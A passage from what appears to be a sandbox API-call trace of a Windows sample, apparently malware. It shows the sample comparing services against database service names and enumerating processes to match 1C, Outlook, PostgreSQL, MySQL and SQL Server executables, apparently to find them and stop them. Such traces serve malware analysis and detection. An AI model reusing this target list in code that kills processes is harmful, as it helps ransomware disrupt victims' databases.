(lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0143.452] lstrlenW (lpString="Dhcp") returned 4 [0143.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0143.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0143.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0143.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0143.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0143.452] lstrlenW (lpString="Dnscache") returned 8 [0143.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0143.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0143.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0143.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0143.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0143.452] lstrlenW (lpString="DPS") returned 3 [0143.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0143.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0143.453] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0143.453] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0143.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0143.453] lstrlenW (lpString="eventlog") returned 8 [0143.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0143.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0143.453] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0143.453] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0143.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0143.453] lstrlenW (lpString="EventSystem") returned 11 [0143.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0143.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0143.453] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0143.453] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0143.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0143.453] lstrlenW (lpString="gpsvc") returned 5 [0143.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0143.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0143.453] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0143.453] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0143.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0143.453] lstrlenW (lpString="iphlpsvc") returned 8 [0143.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0143.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0143.453] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0143.454] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0143.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0143.454] lstrlenW (lpString="LanmanServer") returned 12 [0143.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0143.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0143.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0143.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0143.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0143.454] lstrlenW (lpString="LanmanWorkstation") returned 17 [0143.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0143.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0143.454] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0143.454] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0143.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0143.454] lstrlenW (lpString="lmhosts") returned 7 [0143.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0143.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0143.454] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0143.454] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0143.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0143.454] lstrlenW (lpString="MMCSS") returned 5 [0143.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0143.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0143.454] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0143.455] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0143.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0143.455] lstrlenW (lpString="MpsSvc") returned 6 [0143.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0143.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0143.455] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0143.455] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0143.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0143.455] lstrlenW (lpString="NlaSvc") returned 6 [0143.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0143.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0143.455] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0143.455] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0143.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0143.455] lstrlenW (lpString="nsi") returned 3 [0143.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0143.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0143.455] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0143.455] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0143.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0143.455] lstrlenW (lpString="PcaSvc") returned 6 [0143.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0143.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0143.455] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0143.455] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0143.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0143.456] lstrlenW (lpString="PlugPlay") returned 8 [0143.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0143.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0143.456] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0143.456] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0143.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0143.456] lstrlenW (lpString="Power") returned 5 [0143.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0143.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0143.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0143.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0143.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0143.456] lstrlenW (lpString="ProfSvc") returned 7 [0143.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0143.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0143.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0143.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0143.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0143.475] lstrlenW (lpString="RpcEptMapper") returned 12 [0143.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0143.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0143.476] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0143.476] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0143.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0143.476] lstrlenW (lpString="RpcSs") returned 5 [0143.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0143.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0143.476] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0143.476] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0143.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0143.476] lstrlenW (lpString="SamSs") returned 5 [0143.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0143.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0143.476] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0143.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0143.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0143.476] lstrlenW (lpString="Schedule") returned 8 [0143.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0143.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0143.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0143.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0143.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0143.476] lstrlenW (lpString="SENS") returned 4 [0143.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0143.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0143.476] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0143.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0143.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0143.476] lstrlenW (lpString="ShellHWDetection") returned 16 [0143.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0143.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0143.477] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0143.477] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0143.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0143.477] lstrlenW (lpString="Spooler") returned 7 [0143.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0143.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0143.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0143.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0143.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0143.477] lstrlenW (lpString="SysMain") returned 7 [0143.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0143.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0143.477] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0143.477] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0143.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0143.477] lstrlenW (lpString="Themes") returned 6 [0143.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0143.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0143.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0143.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0143.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0143.477] lstrlenW (lpString="TrkWks") returned 6 [0143.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0143.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0143.477] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0143.477] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0143.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0143.477] lstrlenW (lpString="UxSms") returned 5 [0143.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0143.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0143.478] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0143.478] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0143.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0143.478] lstrlenW (lpString="Winmgmt") returned 7 [0143.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0143.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0143.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0143.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0143.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0143.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0143.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0143.480] Process32FirstW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0143.480] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0143.481] lstrlenW (lpString="System") returned 6 [0143.481] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0143.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0143.481] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0143.481] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0143.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0143.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0143.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0143.481] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0143.481] lstrlenW (lpString="smss.exe") returned 8 [0143.481] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0143.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0143.481] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0143.481] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0143.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0143.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0143.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0143.481] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.482] lstrlenW (lpString="csrss.exe") returned 9 [0143.482] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0143.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0143.482] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0143.482] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0143.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0143.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0143.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0143.482] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0143.482] lstrlenW (lpString="wininit.exe") returned 11 [0143.482] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0143.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0143.482] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0143.482] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0143.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0143.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0143.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0143.483] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0143.483] lstrlenW (lpString="csrss.exe") returned 9 [0143.483] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0143.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0143.483] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0143.483] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0143.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0143.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0143.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0143.483] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0143.483] lstrlenW (lpString="winlogon.exe") returned 12 [0143.483] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0143.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0143.483] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0143.483] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0143.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0143.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0143.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0143.484] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0143.484] lstrlenW (lpString="services.exe") returned 12 [0143.484] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0143.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0143.484] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0143.484] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0143.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0143.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0143.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0143.484] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0143.484] lstrlenW (lpString="lsass.exe") returned 9 [0143.484] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0143.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0143.485] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0143.485] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0143.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0143.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0143.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0143.485] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0143.485] lstrlenW (lpString="lsm.exe") returned 7 [0143.485] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0143.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0143.485] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0143.485] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0143.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0143.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0143.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0143.485] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.486] lstrlenW (lpString="svchost.exe") returned 11 [0143.486] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0143.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0143.486] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0143.486] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0143.486] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0143.486] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0143.486] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.486] lstrlenW (lpString="svchost.exe") returned 11 [0143.486] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.487] lstrlenW (lpString="svchost.exe") returned 11 [0143.487] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.487] lstrlenW (lpString="svchost.exe") returned 11 [0143.487] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.487] lstrlenW (lpString="svchost.exe") returned 11 [0143.487] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0143.488] lstrlenW (lpString="audiodg.exe") returned 11 [0143.488] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.488] lstrlenW (lpString="svchost.exe") returned 11 [0143.488] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0143.488] lstrlenW (lpString="svchost.exe") returned 11 [0143.488] Process32NextW (in: hSnapshot=0x328, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, 